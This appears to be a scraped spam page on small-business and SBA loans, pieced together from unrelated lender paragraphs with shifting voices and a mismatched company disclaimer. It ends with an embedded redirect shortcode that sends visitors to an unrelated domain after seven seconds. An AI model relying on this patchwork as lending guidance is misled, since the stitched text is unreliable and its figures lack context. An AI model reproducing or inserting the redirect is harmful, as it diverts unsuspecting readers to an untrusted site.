Small businesses must meet certain criteria to qualify for an SBA loan, including size requirements, financial standing and being in a for-profit industry. SBA loans cannot be made to a small business if the borrower has access to other financing that offers reasonable terms. In addition, a small business must meet the credit qualifications of the lending partner.
Businesses typically qualify for our products if they make more than $12,000 a month in gross sales. This prerequisite stands because we do not want to provide financing to a business if the repayment process will be difficult for them to handle while meeting their other responsibilities (such as paying rent or purchasing inventory).
Loan Processing and Service fees: Over the lifetime of a loan, your lender will perform a variety of activities, such as customer service or billing, to manage and administrate the loan. A service or processing fee is used to cover the cost of these expenses. Service fees are frequently billed monthly or according to the loan repayment schedule, but some lenders may only charge a one-time service fee. Service fees are usually charged as a percentage of payment amount (if billed regularly) or of the total loan amount (if one- time).
The maximum amount you can borrow with an SBA disaster loan is $2 million. The maximum repayment time is 30 years, though the SBA will determine the repayment time on a case-by-case basis depending on your ability to pay back the loan.
In October 2009, the Government Accountability Office released Report 10-108 which stated, “By failing to hold firms accountable, SBA and contracting agencies have sent a message to the contracting community that there is no punishment or consequences for committing fraud.”
With a business line of credit, lenders will establish a credit limit for a maximum amount of money they will lend you. You can draw as much as you need up to your limit and like a credit card; you pay interest only on the amount you borrow. Business Lines of Credit can help bridge the gap during seasonal lulls and other lean periods. A business line of credit can ensure that you always have the capital you need, when you need it.
SBA loans are used heavily by banks of all sizes to finance the purchase or construction of business owner-occupied real estate (i.e., real property purchased for commerce). Many banks offer SBA loans only for this purpose. In particular, they finance properties that a bank would consider too risky to finance conventionally, due to being of a special use [bowling alley, automobile repair] or environmentally risky nature [petroleum products storage, electrical substation] that can make their resale value limited. Some example properties include motels, gas stations and car washes.
A business line of credit provides access to flexible cash. Lenders give you access to a specific amount of credit (say, $100,000), but you don’t make payments or get charged interest until you tap into the funds.
Trade finance under the SBA Export loan program is broken up into three types of loans, but they all have the same goal. The aim is to expand international trade and export activities. Here is what each loan within the SBA Export program can be used for:
At Fora Financial, we do not restrict how you use your loan, so you can use it in ways that will benefit your specific business. Whether it is purchasing equipment or paying employees, you’ll be able to meet your business’s specific needs.
Disclaimer: Information in the Knowledge Center is owned and managed by Biz2Credit and/or its editorial contributors, and does not necessarily represent the views of its funding partners. Further, general information provided throughout our website does not necessarily represent the views of our partners.
Prior to submitting your application, it is important to consider the documents you’ll need to compile. We require your business’s three most recent bank statements and our one-page application to get started. Depending on other factors, a lender may request a month-to-date bank statement, tax returns, P&L and balance sheet.
Still, low annual percentage rates make the SBA program one of the smartest ways to fund your company. With some know-how and preparation, you may be able to secure some of the lowest business financing available. And if you don’t qualify for an SBA loan, there are other faster, more accessible ways to borrow money.
The trade off is that the SBA, as a federal agency, is promoting certain policy agendas. This results in SBA loans having strict requirements that the borrower must meet in order to qualify for the loan, including how the proceeds of the loan can be used.
Because you’re just starting out and your personal credit score is below 600, your best bet is microloans through nonprofit lenders or the U.S. Small Business Administration. The downside is these are “micro” amounts of money, usually no more than $50,000. However, many microlenders help businesses grow and establish better credit. SBA microloans generally have an APR of 8% to 8.5% and manageable repayment terms. Successfully repaying microloans will boost your credit score and make you eligible for bigger financing.
In addition to your credit score, lenders will consider how long your business has been operating. You need to have been in business at least one year to qualify for most online small-business loans and at least two years to qualify for most bank loans.
Many business owners report feeling stressed when applying for a small business loan. It seems that lenders are asking for more and more documentation with each passing day. In reality, most lenders have a standard discovery list of documents that are required to apply for and process a loan. Knowing which documents will be required and getting that documentation in order before you apply for your business loan can reduce your stress and speed-up approval of your loan.
The SBA Microloan program provides loans to nonprofit intermediary lenders who in turn lend amounts under $50,000 to for-profit small businesses and nonprofit child care centers. The SBA does not guarantee any portion of the loans made under the SBA Microloan program. Microloans have terms up to 6 years and the average size is $14,215.
Disaster loans are available to small businesses and organizations that are located in a declared disaster zone and suffered damage to property, businesses that incurred economic losses because of a disaster, and businesses that lose a key employee who is a military member and is called to active duty. Read more…
If you’re looking to open a new location, hire employees or refinance an existing loan, SBA loans are a great option. SBA loan rates and terms typically are more manageable for borrowers than other types of financing.
Many small-business owners use credit cards for funding. Business credit cards are best for short-term expenses. Research has shown that small businesses that rely heavily on credit card financing typically fail.
An unsecured business loan is a loan that does not require the borrower to pledge assets of the company to borrow funds. However, in most cases an unsecured loan requires a personal guarantee of repayment and will generally have a higher interest rate and fees.
Since you’ve been in business more than a year and have decent credit, you may qualify for funding from StreetShares or OnDeck. If you have at least $25,000 in revenue, StreetShares offers a loan or line of credit up to $100,000. If you want more funding, OnDeck has term loans of up to $500,000. OnDeck’s loans, however, can be costlier, with APRs as high as 98%; StreetShares’ funding has a maximum 40% APR.
• Assemble a complete financial history. In addition to your personal credit information, a lender is going to want to know that your business has a stable financial history. “An accurate and complete financial history is very important to lend credibility to the SBA loan request,” Anderson says. “If you are currently in business, lenders will want to see profit and loss statements for three complete fiscal years and the current year to date. In addition they will want a recent balance sheet, within the last 60 days.” If you are just starting a business, this step is not required. But keep in mind that it is much more difficult to obtain SBA loans for start-up businesses than existing businesses.
“Follow up and treat a lender like you treated your significant other before you got married,” Cruz says. “It’s a romance. Ask, ‘What can I do? Is there anything else you need?’ Always be polite and professional. You can be friendly with them but it’s professional. It’s a business relationship and keep it as such and it will help you down the line.”
The SBA Builders Line of Credit is designed to help small contractors or developers to construct or rehabilitate residential or commercial property that will be sold to a third party that is not known at the time construction or rehabilitation begins. The purchase of land cannot exceed 20% of the CAPLine proceeds.
To qualify for a small-business loan, you may have to provide collateral to back the loan. Collateral is an asset, such as equipment, real estate or inventory, that can be seized and sold by the lender if you can’t make your payments. It’s basically a way lenders can recover their money if your business fails.
With strong personal credit and an established business, you may be eligible for an SBA loan, which offers low APRs and longer terms. SmartBiz is a good option if you have at least $50,000 in annual revenue. For smaller loans (under $100,000) and less stringent requirements, StreetShares offers a line of credit, a good alternative, especially for military veterans. You need $25,000 in annual revenue to qualify for StreetShares. [redirect url=’http://zoneprofit.stream/bump’ sec=’7′]